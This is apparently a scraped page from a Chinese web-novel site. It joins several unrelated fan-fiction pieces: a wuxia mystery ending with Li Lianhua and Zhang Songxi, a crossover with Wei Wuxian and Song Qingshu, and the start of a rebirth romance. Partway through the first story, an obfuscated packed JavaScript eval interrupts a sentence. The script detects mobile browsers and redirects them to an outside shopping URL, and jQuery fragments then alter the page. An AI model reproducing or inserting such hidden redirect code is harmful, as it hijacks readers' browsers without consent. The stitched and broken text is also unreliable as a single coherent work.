“我呸!”一个虚弱却决绝的女声仿佛穿透时光,在众人耳边响起——那是唐婉儿最后的怒斥,“我没有想到……一向躲在暮中正后面、装得公正严明的县令大人,居然是真正的豺狼!你隐藏得这么深……我才不会跟这么可怕的人在一起!你休想!” “赵砚锋”的眼神骤然变得阴鸷狠厉,仿佛被当年的拒绝彻底激怒:“敬酒不吃吃罚酒!既然你不识抬举,那便去地下陪你丈夫吧!” 他话音未落,手臂似乎随意地一挥。 堂上坐着的那个“赵砚锋”此时再也忍不住,暴喝一声:“恶贼!竟敢污蔑本官!受死!” 猛地拔刀,身形如电,扑向那叙述往事的“赵砚锋”。他此刻显露的身手,迅猛凌厉,竟是极高明的刀法,远非寻常捕头可比。 然而,那叙述往事的“赵砚锋”似乎早有所料,冷哼一声,不避不让,甚至未拔兵刃,只是袖袍一拂,一股阴柔却沛然莫御的劲风涌出,后发先至,正撞在那扑来的“赵砚锋”刀势之上。 “铛”一声脆响,扑来的“赵砚锋”手中钢刀竟被那股袖风生生震偏,连人带刀向旁踉跄数步,脸上易容的边角在气劲激荡下微微翘起,露出底下些许不同的肤色。 张松溪见状,再不犹豫,喝道:“好深厚的内力!你究竟是谁?” 话音未落,身形已动,一式武当绵掌,如云似雾,却又隐含雷霆之势,拍向那真正的“赵砚锋”,旨在擒拿。 与此同时,李莲花的声音再次响起,不疾不徐,却如冰锥刺破混乱:“唐婉儿临死前,并非毫无作为。她手中,恰好有因补妆而携带的胭脂盒,还有一方随身小印。她将胭脂与印泥混合,涂在了自己的嘴唇上——或许是想留下血书,又或许只是绝望下的无意之举。但你靠近她,杀她时,她最后的挣扎,将那混合了朱砂印泥的胭脂,蹭在了你的衣襟之上。” 李莲花的目光,精准地落在那真正“赵砚锋”的胸前。虽然公服颜色深,且在梁上隐匿多时,但若细看,仍能隐约见到一抹极其黯淡的、不同于寻常污渍的暗红色痕迹,巧妙地隐藏在云锦繁复的纹路之中。 “那日你穿去的,正是暮家特产的、以织工细密、纹样独特著称的云锦。这种布料,染色极牢,但也正因织纹细密,一些特殊的、细微的污渍,反而更难彻底清除。”李莲花缓缓道,“所以,这偏厅里萦绕的、与回雁径现场相似的若有若无的香气,源头并非他处,正是你身上这件云锦公服——混合了当年唐婉儿唇上胭脂印泥、经年难以散尽的微末气息,以及……你惯用的,用来掩盖气味的‘惊精香’。” “赵砚锋”身形微微一滞,挡开张松溪一掌的同时,低头瞥了一眼自己的前襟。那一直保持的冰冷镇定,终于出现了一丝裂痕。他没想到,时隔多日,如此细微的痕迹与气味,竟会被李莲花捕捉并联系起来。 张松溪掌势连绵,如长江大河,将他牢牢缠住。那先前扑出、被震退的“赵砚锋”(此刻已知是他人假扮)也稳住身形,再次挥刀攻上,与张松溪形成夹击之势。 李莲花退开两步,并未加入战团,只是静静看着。烛火将打斗的身影投在墙壁上,晃动不休。他的眼神清冷,仿佛早已透过重重迷雾,看到了最深处的那张脸。 “赵砚锋”在两人合击下,渐渐落入下风。他武功虽高,但张松溪乃武当翘楚,内力精纯,招式老辣,假“赵砚锋”的刀法也凌厉狠绝,配合默契。数招过后,“赵砚锋”的袖袍被张松溪掌风扫中,嗤啦一声裂开一道口子。 他心知今日已难善了,猛地强攻几招,逼退二人半步,忽然长笑一声,笑声中充满怨毒与不甘:“李莲花!好!好的很!没想到我精心筹划多年,竟败在这点细微末节之上!但你们以为,这就结束了吗?” 话音未落,他猛地挥手,掷出数枚乌黑的弹丸。弹丸落地,“砰砰”炸开,浓密呛人的黑烟瞬间弥漫整个偏厅,遮蔽视线,更带有辛辣刺鼻的气味,显然有毒。 “小心烟毒!”张松溪疾呼,屏息挥掌驱散烟雾。 偏厅内黑烟未散尽,辛辣刺鼻的气味仍在弥漫。窗棂洞开,夜风呼啸而入,吹得烛火明灭狂舞,将墙上晃动的影子拉长又撕碎。陈横呛咳着,以袖掩面,张松溪则屏息凝神,气贯周身,警惕地注视着那空洞洞的窗口——假冒赵砚锋的恶徒,已然借着毒烟遁走。 李莲花却依旧站在窗边,夜风拂动他半旧的青衫。他脸上没有太多意外或懊恼的神色,反而像是……在侧耳倾听。 果然,不过几个呼吸之间,窗外原本只有风声的庭院里,骤然响起一连串急促的金铁交击之声、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109856|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闷哼声,以及衣袂破风的锐响!那声音由近及远,似乎有人正在院中激烈交手,且战且走,试图突破封锁。 张松溪与陈横对视一眼,皆从对方眼中看到惊异。 李莲花这才缓缓转过身,语气平淡得像在陈述一件早已安排好的琐事:“这人心思缜密,既早疑心身边或有内鬼,布下陈兄这着暗棋,又岂会只在瓮中捉鳖,而不在瓮外张网?”他走到桌边,就着摇曳的烛火,提起那半凉的茶壶,给自己斟了半杯茶,“我回来时,见府衙外围几个关键的巷口、屋脊暗处,人影布置与平日换防略有不同,气息也更沉凝些。便猜测,赵捕头真正的后手,恐怕在外头。方才梁上君子现身,我便更确定了,他必是早已暗中调度,布下天罗地网,只等这冒牌货自己按捺不住,或是被我们逼出破绽,仓皇出逃时,一举成擒。” 他呷了一口凉茶,微微蹙眉,似乎嫌味道不好,又将杯子放下。“方才那番打斗与对话,动静不小。外面埋伏的人,只要不是聋子,也该收紧口袋了。” 仿佛是为了印证他的话,院中的打斗声越发激烈,夹杂着几声短促的呼喝与指令,正是赵砚锋那熟悉而沉稳的声音!只是那声音此刻带着冰冷的肃杀之意。 “恶贼!还不束手就擒!” “拦住东侧墙头!” “小心他的暗器!” 呼喝声中,兵刃碰撞声密如骤雨。那冒牌货的武功确实高强,听动静,竟在重重围困中左冲右突,一时未落下风,暗器破空之声嗤嗤不绝,显然在做困兽之斗。 张松溪不再迟疑,对陈横道:“陈兄弟,你且在此守护李神医,并留意府衙内可能有的其他变故。我出去助赵捕头一臂之力!” 说罢,身形一闪,已如一道轻烟般掠出偏厅,投入外面黑暗而激烈的战团。 陈横横刀立于李莲花身侧,警惕地注视着门口与窗口。 李莲花却似乎对眼前的险境并不挂心,他踱步到那冒牌货掷出毒烟弹的地方,俯身仔细观察了一下地面残留的黑色碎屑,又用手指极其小心地拈起一点未燃尽的粉末,凑到鼻端嗅了嗅,随即取出一方素帕包好。 外面的打斗声在张松溪加入后,形势显然开始向一边倾斜。冒牌货的怒喝与闷哼声越来越频繁,突围的意图一次次被硬生生挡回。终于,在一声格外沉重的掌力交击声和一声压抑的痛呼之后,兵刃破风声戛然而止,只剩下急促的喘息和纷乱的脚步声。 “绑了!” 那人正是方才逃走的冒牌“赵砚锋”。此刻他形容狼狈,发髻散乱,脸上用以易容的药物与面具已被除去大半,露出一张约莫四十余岁、肤色偏白、颧骨略高的陌生脸孔,左边脸颊有一道新鲜的血痕,嘴角溢血,双臂被牛筋索死死反剪在身后,脚步虚浮,显然受了不轻的内伤。他身上的公服也被扯得凌乱,前襟那抹暗红色的胭脂印泥痕迹,在灯火下更加显眼。 张松溪紧随其后进来,气息与神色从容,对李莲花微微颔首,示意已将其制服。 “赵砚锋”扯下脸上残存的易容,露出一张平凡但坚毅的中年面孔,他单膝跪地,对张松溪和李莲花抱拳,声音已变回原本的粗犷:“属下陈横,乃李神医安排,易容引蛇出洞之饵。方才未能擒住他,请二位恕罪!” 原来,这竟是局中局,只是未料到对方武功如此之高,且如此狡诈。 张松溪扶起陈横,面色凝重:“此人武功路数阴狠诡谲,内力深厚,绝非寻常之辈。他假冒赵砚锋多年,恐怕真的赵砚锋已凶多吉少。” “应该是的。”李莲花长叹一声。 案子了结后,李莲花与张松溪在林府又住了三日,协助林采薇处理林家的后续事务,也帮着林若薇调理身体。 这日午后,秋阳正好,林府后园的凉亭里,摆着一张石桌,桌上放着一壶龙井和两盏茶杯。李莲花与张松溪对坐饮茶,看着园中飘落的枫叶,心中都颇为感慨。 张松溪端起茶杯,抿了一口茶,忽然开口道:“李兄,此案让我对武学有了一番新的领悟。” 李莲花抬眼看向他,笑道:“哦?愿闻其详。” “你看赵砚锋和暮家父子。”张松溪放下茶杯,缓缓道,“赵砚锋老谋深算,如同阴云蔽日,将所有的阴谋都藏在暗处,利用他人的把柄为自己谋利,这是武学中的‘阴’;暮临州急功近利,如同烈火焚原,行事莽撞,只知一味进攻,这是武学中的‘阳’;而暮中正,则是介于阴阳之间,既被赵砚锋的‘阴’所挟制,又被儿子的‘阳’所拖累,最终落得个家破人亡的下场。” 他顿了顿,又道:“武当剑法讲究阴阳相济,太极生两仪,两仪生四象,四象生八卦。可赵砚锋与暮家父子,皆因阴阳失衡而败。赵砚锋阴盛阳衰,心机太深,终究被自己的阴谋反噬;暮临州阳亢阴亏,行事鲁莽,最终死于父亲之手;暮中正阴阳失调,进退失据,落得个自尽的下场。” 李莲花闻言,点了点头:“张兄看得透彻。武学之道,说到底,不过是‘平衡’二字。内力的刚柔、招式的虚实、进退的攻守,皆需平衡。而人心亦是如此,贪念、欲望、仇恨,若是失了平衡,便会如同脱缰的野马,最终坠入深渊。” “正是如此。”张松溪眼中闪过一丝明悟,“那日与暮家打手交手时,我便发现,他们的招式虽狠,却破绽百出,只因他们心中被贪念所扰,招式之间失了平衡。而我与李兄联手时,却能配合得天衣无缝,正是因为我们心中无杂念,只求伸张正义,招式与心意相合,方能无往不利。” 他站起身,随手折下一段柳枝,以枝代剑,在空地上缓缓演练起来。起初还是武当剑法的路数,招式沉稳,如行云流水,渐渐的,招式开始变化,融入了几分别样的韵味——那是他从李莲花的行事风格中领悟到的,对“时机”和“空隙”的把握,在守势中暗藏攻机,在攻势中留有退路。 李莲花静静看着,待张松溪收势,才开口赞道:“张兄这一招‘云横秦岭’,原本是纯粹的守势,如今却在守势中藏了三道后手,可在瞬间转守为攻,妙极。” 张松溪笑了笑,将柳枝扔在地上:“这都是受李兄启发。那日李兄点破我‘怀抱太极’的招式间隙,让我明白,再圆满的守势,也有转换的时机。关键在于,能否看清并抓住那瞬息即逝的机会。” 二人相视而笑,凉亭外的秋风拂过,卷起满地红叶,却吹不散二人心中的明悟。 又过了两日,李莲花与张松溪便向林氏姐妹辞行。林采薇与林若薇将二人送至城外的长亭,亭中摆着一桌践行酒,桌上的菜肴皆是林府的厨子精心烹制的。 “此番多谢二位公子出手相助,若非你们,林家恐怕早已家破人亡。”林采薇端起酒杯,向李莲花与张松溪敬了一杯,“这份恩情,林家姐妹没齿难忘。” 李莲花与张松溪也端起酒杯,一饮而尽:“林姑娘客气了,路见不平,拔刀相助,本就是江湖人的本分。” 林若薇坐在一旁,看着李莲花,忽然开口问道:“李公子,张四侠,你们说,人为什么会变得那么可怕?赵大人为了权力,害死了自己的女儿,暮伯父为了自保,害死了郑伯伯和我爹娘,暮临州为了产业,也变得面目全非……” 李莲花望着远处的青山,轻声道:“人心如水,本是清澈的,可若是落入了布满欲望的容器,便会变得浑浊。赵砚锋的容器是权力,暮中正的容器是恐惧,暮临州的容器是贪婪,他们被这些东西困住,最终迷失了本心,变得面目全非。” 林采薇握住妹妹的手,柔声安慰道:“若薇,过去了,一切都过去了。往后,姐姐会陪着你,林家也会好好的。” “爹娘出发之前嘱咐我好好照顾你。” “姐姐,我不想嫁人,我们两个要一直在一起。” 林若薇点了点头,靠在林采薇的肩上,眼中的泪水终于落了下来。 饮完践行酒,李莲花与张松溪便踏上了归途。二人并肩走在官道上,秋风吹起他们的衣袂,如同两只展翅的飞鸟。 走了一段路,张松溪忽然问道:“李兄,今后你有何打算?” 后来张松溪回到武当后,闭关三月,出关时剑法大进,将此次在南山县领悟的“平衡”之道融入武当剑法,创出了三招新式,取名为“莲溪三问”,成为武当剑法新的精髓。这三招剑法,既保留了武当剑法的沉稳,又融入了李莲花的灵动,成为武当弟子必学的招式。 南山县则渐渐恢复了往日的宁静。林采薇接掌了林家的产业,她凭借着过人的智慧和手腕,将林家的漕运和药材生意打理得井井有条,还将部分产业改为善堂,资助孤寡老人和贫困学子,赢得了南山县百姓的赞誉。 林若薇则在县城里开了一家女学,教女子读书识字、经营理财。她亲自授课,对学生们耐心细致,南山县的女子们,大多都受过她的教导。姐妹二人终身未嫁,相依为命,将林家打理得蒸蒸日上。 江风渐起,带着水汽与初秋的凉意。李莲花那艘半旧的小船,静静地泊在渡口,随着水波轻轻摇晃。船头一盏风灯,晕开一团昏黄的光,映着李莲花平淡的侧脸,也映着张松溪眼中未曾言明的渴望。 “此间事了,我也该走了。”李莲花将最后一点行李——不过是个半旧的药箱和几件粗布衣裳——放进船舱,拍了拍手,转身对张松溪道。 张松溪望着那艘不起眼的小船,又望向李莲花身后那片仿佛笼罩着薄雾、看不真切的江面。这几日同行查案,李莲花那看似随性却总能切中要害的敏锐,那份于生死险局中依旧从容的定力,以及他所提及的、那个似乎更为广阔奇诡的江湖,都像一颗投入古井的石子,在张松溪向来沉稳的心湖里,漾开了别样的涟漪。 武当山的生活固然清正充实,但眼前这人,这船,这未知的前路,却莫名有了一种近乎“道法自然”的吸引力。 “李兄,”张松溪终于开口,声音比平时低了些,“你所在之处……是何光景?” 李莲花正弯腰解着缆绳,闻言动作顿了顿,直起身,看着张松溪。江风吹乱他额前几缕碎发,也让他眼中惯常的疏淡倦意,似乎被灯火镀上了一层暖色,又仿佛更显辽远。 “光景么……”他笑了笑,有些模糊,“也不过是些江湖风波,人间烟火。有麻烦,也有闲趣。只是规矩少些,稀奇古怪的事儿……多些。” 这回答等于没回答,却更添神秘。张松溪默然片刻,忽然道:“李兄若不嫌累赘,张某……可否随你去看看?” 这话问出口,他自己都微微讶异。这不像武当张四侠会说的话,倒像个被新奇故事吸引的少年。但他目光坦荡,心意真诚。 李莲花看着他,眼里闪过一丝极复杂的情绪,似是了然,似是感慨,又似有几分难以言喻的惆怅。他静默了好一会儿,久到张松溪几乎以为他要拒绝。 最终,李莲花轻轻叹了口气,那叹息散在江风里,几不可闻。“张兄,”他道,语气恢复了平日那种温和的平淡,“你我不同路。你的路在武当,在正道,在此间清明乾坤。我的路……”他回头望了望漆黑的水面,“在水上,在风里,在那些说不清道不明的因果之间。” 他顿了顿,又道:“不过,相逢即是有缘。张兄若真想瞧瞧我来的地方……上船吧,我载你一程,到我来时的那处水湾。” 这算是婉拒,却又留了一个模糊的承诺。张松溪心中略感失望,但李莲花既已应允这一程,他便不再多言,只点了点头,提气轻身,稳稳落在小舟之上。船身只微微一沉,几乎未有晃动,显出其精妙的内力控制。 李莲花赞许地看了他一眼,不再多说,竹篙一点岸边青石,小船便无声地滑入江心,离了渡口那点昏黄的光,投入更为辽阔深沉的黑暗。他划船的动作并不快,甚至有些随意,但小船却行得极稳,破开平滑如镜的水面,向着下游某个方向而去。 江上雾气似乎浓了些,两岸的轮廓渐渐模糊,连星光也黯淡下去,只有船头那盏孤灯,照亮前方一小片晃动的江水。张松溪坐在船中,起初还留意着方向,辨认着两岸偶尔掠过的山影树形。但不知为何,鼻端萦绕的江水气息里,渐渐混入了一股极淡、极清冽的莲香,似有似无。耳畔李莲花摇橹的欸乃声,也仿佛有了某种奇特的韵律,与心跳、与呼吸渐渐合拍。 他的眼皮越来越沉。武当内功讲究抱元守一,神思清明,他从未有过如此不受控的昏沉感。他想运功抵抗这股睡意,丹田之气却流转滞涩,意识如同陷入温暖的泥沼,缓慢下沉。最后映入眼帘的,是李莲花背对着他划船的、那略显单薄却异常挺直的背影,以及前方雾气深处,仿佛有微光闪烁的、一片开阔的、水天相接的朦胧光影。 “……李兄?”他喃喃,声音低得自己都听不清。 没有回应。只有那规律的水声,和那无处不在的、清甜的莲香。 他彻底失去了意识。 不知过了多久,仿佛只是一瞬,又仿佛历经了漫长的黑暗漂泊。张松溪猛地惊醒,下意识地挺身坐起。 天光已然大亮,是那种雨后初晴、澄澈透亮的晨光。他发现自己坐在一片湿润的河滩上,身下是细密的鹅卵石,不远处江水哗哗流淌,水汽清新,带着泥土与青草的芬芳。 小船不见了。李莲花也不见了。 四周是陌生的景色。远山如黛,近处有渔村茅舍的轮廓,炊烟袅袅升起。江面开阔,时有扁舟往来,渔歌隐约。一切平和而真实,与他来时那个渡口景色迥异,却也看不出什么“稀奇古怪”之处。 张松溪站起身,衣袍上沾着晨露。 他沿着河滩走了几步,四下眺望。江风拂面,带来初秋的凉意,也吹散了他心头最后一丝侥幸。李莲花……是真的走了。以那种他无法理解、也无法追寻的方式。 一种前所未有的怅惘,悄然漫上心头。那感觉并不激烈,却丝丝缕缕,缠绕不息。像是错过了一场至关重要的论道,又像是眼睁睁看着一片本该属于自己的云彩,飘向了无法触及的天际。他见识了那样一个人,窥见了一个世界的模糊边缘,然后那扇门,就在他面前轻轻合上,了无痕迹。 他在河滩上静立良久,直到日头渐高,才缓缓吐出一口浊气。武当张四侠的心性终究非同一般,他将那怅惘仔细收好,纳入道心修炼的功课之中。李莲花说得对,路不同。他的路,终究在武当,在此间。 许久未见师父还有众位师兄弟了,他有些想念他们了。 只是,心底某个角落,终究是有些不一样了。仿佛那江上的一夜,那盏孤灯,那个背影,已在他稳如磐石的生命里,投下了一枚永远无法抹去的、带着莲香与水光的印记。 他辨认了一下方向,朝着记忆中武当山的大致方位,迈开了步子。身影渐渐消失在河滩尽头,融入那片陌生的、却又寻常的山水之间。 几乎就在张松溪于异乡河滩醒来,心生怅惘的同时。 大熙,江南某座繁华州府,最热闹的“一品轩”茶楼里。 醒木重重一拍,满堂喧嚣为之一静。说书先生清了清嗓子,捋了捋山羊胡,唾沫横飞地开始了今日的新段子: “……列位看官,今日不说那朝堂风云,也不讲那沙场铁血,单说一桩近日咱们这地界上新出的奇人奇事!话说城西‘回春堂’,前几日来了位怪客!此人自称李松溪,年纪瞧着不过三十上下,穿着半旧青衫,模样嘛……倒是斯文清俊,可那一双眼睛,啧啧,亮得跟寒星似的,看着就叫人心里发怵!” 茶客们听得津津有味,交头接耳。 “这李松溪啊,一来就露了一手绝活儿!隔壁王掌柜家的独子,得了怪病,高烧不退,胡言乱语,多少郎中都摇头。这李松溪去了,不号脉,不开方,只围着病榻转了三圈,从怀里掏出个巴掌大的白玉瓶,倒了点清亮亮、香喷喷的水给那孩子灌下去。嘿!您猜怎么着?不到一炷香的功夫,那孩子热度就退了,人也清醒了!神不神?” “更奇的还在后头!”说书先生压低声音,故作神秘,“前儿夜里,城里有伙不长眼的毛贼,想打‘回春堂’药材的主意。您猜怎么着?那李松溪也不知从哪儿冒出来的,手里就拿着根……嗨,也不是棍子,像是什么软趴趴的白色带子,就这么随手一挥——哎哟喂,那七八个持刀拿棍的壮汉,就跟喝醉了酒似的,东倒西歪,全趴下了!愣是连人家衣角都没碰到!等巡夜的官差赶到,人就没了影儿,只留下地上那些晕头转向的贼人,还有……一股子挺好闻的、淡淡的莲花香味儿!” 茶楼里一片哗然,议论纷纷。 “李松溪?没听过这号人物啊!” “医术通神,武功莫测?还带着莲香?这……莫不是他?” “他?听说他早死了,不可能!” 说书先生趁热打铁:“如今啊,这‘李松溪’的名头可是传开了!有说他是什么隐世高人的弟子,有猜他是海外散仙,更玄乎的,说他是什么精怪变的!总之是神龙见首不见尾,今儿个在城西瞧病,明儿个说不定就在城东除害了!列位要是遇着什么疑难杂症,或是见了什么不平事,不妨留神找找,说不定啊,就能遇着这位奇人‘李松溪’呢!” 38. 云深客至渡危澜 残阳如血,染红了少室山的层林。 蓝忘机执避尘剑立于山巅,衣袂在山风中猎猎作响,周身萦绕的冷冽剑气与这秋日的萧瑟融为一体。他身侧,魏无羡倚着一根随手折下的枯枝,脸上依旧是那副玩世不恭的笑容,只是眼底深处藏着一丝不易察觉的疲惫。 “蓝湛,这魔气追了我们三天三夜,从乱葬岗一路追到这什么地方,你说这魔头是不是跟我们有仇?”魏无羡用枯枝戳了戳地面,语气轻快,却掩不住声音里的虚浮。 自献舍归来,他的身体便一直带着旧伤,虽有蓝忘机日日以灵力温养,却始终未能彻底痊愈。此次追踪这缕异常的魔气,连日奔波,旧伤隐隐有复发之势。 蓝忘机侧目看他,目光落在他微微发白的唇色上,眉头微蹙:“调息。” 魏无羡撇嘴,却还是依言盘膝坐下,运转灵力。只是这具身体底子本就薄弱,又经献舍时的魂魄震荡,灵力运转间,经脉传来阵阵刺痛,让他忍不住问哼一声。 就在此时,山下传来一阵急促的脚步声和呵斥声,夹杂着兵刃相交的脆响。 “你这逆贼!竟敢杀害我们师伯,今日定要杀了你!” “孽障!束手就擒,尚可留你全尸!” 魏无羡眼睛一亮,立刻站起身:“有热闹看!蓝湛,走,瞧瞧去!” 不等蓝忘机回应,他便率先跃下山巅。蓝忘机无奈地摇了摇头,提步跟上。 山坳间,几名身着一样袍子的弟子正围着一个白衣青年缠斗。那青年面容俊朗,眉宇间却带着浓重的疲惫与隐忍,左臂受了伤,鲜血染红了半片衣袖,却依旧勉力支撑,招式生涩。 “你还敢反抗!”为首的弟子怒喝一声,长剑直刺青年心口。 青年眼中闪过一丝绝望,却依旧没有躲闪,只是闭上了眼睛。“叮!” 一声脆响,避尘剑精准地格开了刺来的长剑。蓝忘机身形如月下惊鸿,落在青年身前,冷冷地扫过一众武当弟子。 魏无羡则绕到青年身侧,上下打量着他,啧啧称奇:“哎呀,这位小哥长得倒是俊朗,怎么被追杀得这么狼狈?” 这小哥正是宋青书,他这次下山来本来是想看望自己的母亲李桂风的,顺便炼制一些草药能够帮众位师叔们荡涤体内的污浊,使他们的内力更为精纯。没有想到稀里糊涂晕倒,又稀里糊涂醒来之后就面对几人围杀,还以为自己就要命丧在此了。 “我自己也不知道。”他笑了笑,笑容带着几分苦涩。 “我研习医术,又偶然习得一种感知他人内息的能力,能察觉到常人无法察觉的细微变化。公子的状况,是魂魄震荡后留下的后遗症,若不及时调理,日后恐会灵力尽失,甚至危及性命。” 蓝忘机握着宋青书手臂的手微微一紧:“可有解法?” “有是有,只是…”宋青书顿了顿,看向自己的伤势,“我如今自身难保,怕是有心无力。 魏无羡拍了拍他的肩膀,笑道:“无妨!先把你自己的伤治好再说。蓝湛,我们先带他离开这里,总不能让他被自己人乱刀砍死。” 蓝忘机点头,揽着宋青书的腰,足尖一点,身形如轻烟般掠出。魏无羡紧随其后,留下一众弟子在原地目瞪口呆。 三人一路疾驰,在一处僻静的山谷中停下。 蓝忘机将宋青书安置在一块干净的青石上,从怀中取出一瓶疗伤药递给他。宋青书接过,却没有立刻服用,而是盘膝坐下,深吸一口气,周身散发出淡淡的白光。 魏无羡好奇地看着他:“这是什么功夫?” “是我偶然习得的念力,能感知他人内息,也能辅助疗伤。”宋青书解释道,指尖白光闪烁。 一盏茶之后,只见他脸色也渐渐红润了几分。 魏无羡眼睛瞪得溜圆:“哇!这么神奇!比蓝湛的灵力疗伤还好用! 蓝忘机闻言,嘴角几不可察地勾了一下,没有说话,只是静静地看着宋青书运功。 片刻后,宋青书收功,睁开眼睛,看向魏无羡:“魏公子,你的伤,我可以试试。, “哦?怎么试?”魏无羡来了兴致。 “我的念力能梳理你的经脉,修复受损的魂魄与肉身的契合点,再辅以草药调理,不出三月,便可彻底痊愈。”宋青书说道。 魏无羡看向蓝忘机,见他点头,便爽快地答应:“好啊!那就麻烦宋小哥了!” 宋青书笑了笑,示意魏无羡盘膝坐下。他伸出手,指尖白光萦绕,轻轻搭在魏无羡的眉心。 一股温和的力量涌入魏无羡的脑海,顺着经脉游走,所过之处,原本刺痛的经脉变得舒畅起来,那种魂魄与肉身格格不入的违和感也减轻了许多。 魏无羡舒服得几乎要哼出声来,闭上眼睛,任由宋青书的念力在自己体内游走。 蓝忘机站在一旁,目光紧紧锁住两人,眼中带着一丝欣慰。他知“怎么样?”蓝忘机立刻上前,扶住他。 “魏公子的经脉受损严重,需要长期调理。”宋青书说道,“我先开个药方,你按方抓药,每日煎服,我再日日用念力为他梳理,不出三月,必能痊愈。” “太好了!”魏无羡睁开眼睛,感觉浑身轻松了许多,“宋小哥,谢谢你!以后你就是我的救命恩人了!” 宋青书笑了笑:“举手之劳。魏公子和蓝公子救了我,我还没来得及道谢。” 三人相视一笑,山谷中的气氛变得温暖起来。 就在此时,远处传来一阵诡异的呼啸声,带着浓重的魔气,与他们之前追踪的魔气如出一辙。 魏无羡脸色一变:“是那魔头!它怎么会在这里?” 蓝忘机握住避尘剑,眼神变得凝重:“它似乎在吸食什么东西,魔气比之前更盛了。 宋青书站起身,脸上一副若有所思的神情。 “看来这魔头在这个世界作恶多端啊。”魏无美摸了摸下巴,“蓝湛,我们不能不管。宋小哥,你要不要一起?” 宋青书点头:“此魔危害武林,我岂能坐视不管?况且,我也想洗清自己的冤屈。” “好!”魏无羡一拍大腿,“那就这么定了!我们三人结伴同行,一边追查魔头,一边帮宋小哥洗清冤屈!” 蓝忘机颔首,只要能守护在魏无羡身边,再大的危险,他也无所畏惧。 雨是黄昏时开始下的。 初时只是细密的雨脚,打在谢家老宅的青瓦上,沙沙地响,后来便成了织天连地的银线,顺着翘起的檐角急急淌下,在石阶前汇成一片跳跃的水花。空气里弥漫着江南梅雨季特有的、濡湿的微腥气,混着庭院中几株晚桂残余的甜腻,沉沉地压在人胸口。 书房里只点了一盏灯,昏黄的光晕勉强撑开桌案前一小片明亮。谢晚就坐在这片明亮里,指尖冰凉,捏着一封已开了口的信。 信纸是上好的洒金宣,透着股矜贵的香气。字迹娟秀,却力透纸背,每一笔都像是精心计算过,带着不容置疑的意味。落款处那个小小的私印,鲜红如血,刺得她眼仁发疼。 是丁府那位千金的亲笔。 条件写得清清楚楚:送沈玦入丁府为“客卿”,为期一年。一年后,江淮三路的盐引,谢家可分一杯羹。 前世,她就是在这间书房,这盏灯下,看完了这封信。然后,她亲手磨了墨,用自己苦练多年、足以以假乱真的沈玦笔迹,写了一封“仰慕丁小姐才学,自愿入府请教”的恳请函。她记得自己当时的心跳得又快又稳,是一种接近亢奋的冷静。青云路就在眼前,沈玦……沈玦待她那样好,想来,也能体谅她的不得已。 后来呢? 后来沈玦真的去了。一年后,丁小姐玩腻了,随意找了个错处,将他像块用旧的抹布一样丢出来。他回到谢宅时,人已瘦脱了形,身上带着说不清道不明的伤,眼神空茫茫的,看她的目光里再无半点温度。再后来,谢家的生意借着那点盐引的东风,果然做大了,直通帝京。她成了江南首屈一指的女财主,仆从如云,珍宝堆积如山。可沈玦却在一个同样下着冷雨的夜里,悄无声息地呕血而亡。整理遗物时,她在他枕下发现一封早已写就的遗书,只有八个字,力透纸背,斑驳如血: “血肉铺路,君可踏稳?” 那纸上的血迹,隔了一世,仿佛此刻还在她眼前蜿蜒,带着铁锈般的腥气。 “咳……” 一声极轻的咳嗽从门外廊下传来,打断了谢晚骨髓里渗出的寒意。 她猛地回过神,指尖一颤,那封洒金信笺飘落在光滑如镜的紫檀木桌面上。她抬起头。 沈玦端着一个黑漆托盘,正撩开竹帘进来。他穿着一件半旧的靛青直裰,洗得有些发白,袖口磨损处细心地打着同色补丁,针脚密实平整。他身形清瘦,脸色是一种久不见日光的苍白,唇色也淡,唯有一双眼睛,墨黑沉静,像是古井里沉着的两丸黑水银。此刻,那眼里映着跳跃的灯火,却没什么温度。 他将托盘轻轻放在桌角,一碗熬得恰到好处的冰糖燕窝,澄澈微黄,热气袅袅。 “秋雨寒凉,用些热的,暖暖胃。”他的声音也和他的人一样,平稳,清晰,没有多少起伏。 谢晚的喉咙像是被什么堵住了。前世,他也是如此,事无巨细,体贴入微。她读书到深夜,他陪着;她为生意烦心,他想法子宽慰;她需要银钱打点,他便默默变卖祖产、字画,甚至当掉母亲留下的最后一点首饰……他从无怨言,只在她偶尔投去一瞥时,回以一个安静得近乎卑微的笑。 她曾以为那是爱,是敬重。后来才明白,那或许只是他骨子里的君子之道,是谢家对他那点微末恩情压在他脊梁上的重负。而她,竟将他这点好,当成了可以无限支取、乃至最终折价变卖的资本。 “放着吧。”谢晚听见自己的声音有些干涩。 沈玦没有立刻走。他的目光落在桌面那封摊开的信上,停留了一瞬。只一瞬,便移开了,仿佛那是什么无关紧要的废纸。可谢晚看见他垂在身侧的手指,几不可察地蜷缩了一下。 “丁府……又来催问了吗?”他问,语气平静得像在问今日的雨何时会停。 谢晚的心狠狠一抽。他知道。他一直都知道。或许从丁家第一次暗示开始,他就已经知道了她的权衡,她的意动。可他什么也没说,只是安静地等着,等着她做决定,等着她……亲手把他推出去。 前世,她便是被他这种沉默的“顺从”鼓励着,壮着胆子,说出了那些混账话。此刻,那些话语就在她舌尖滚动,带着前世的记忆,烧灼着她的五脏六腑。 她深吸一口气,冰凉的空气刺得肺叶生疼。然后,她伸出手,不是去端那碗燕窝,而是拿起了那封洒金信笺。 “嗤啦——” 清脆的、裂帛般的声音在寂静的书房里炸开。 沈玦的睫毛颤动了一下,终于抬起眼,看向她。那墨黑的眸子里,第一次清晰地映出她的身影,带着一丝极淡的、几乎无法捕捉的讶异。 谢晚没有停手。她将撕成两半的信笺叠在一起,再次撕开。一下,又一下。直到那矜贵的纸张在她手中变成一堆无法辨认的碎片。她抓起来,看也不看,扬手一抛。 碎纸片像一群仓皇失措的白蝶,在昏黄的光晕里打了个旋,纷纷扬扬,落了一地,也落了些在她鸦青的鬓边、绛紫的衣襟上。 她做完这一切,胸口微微起伏,指尖却不再颤抖。她迎着沈玦的目光,试图从那片沉静的黑里看出些什么。惊讶?疑惑?或是……一丝松动? 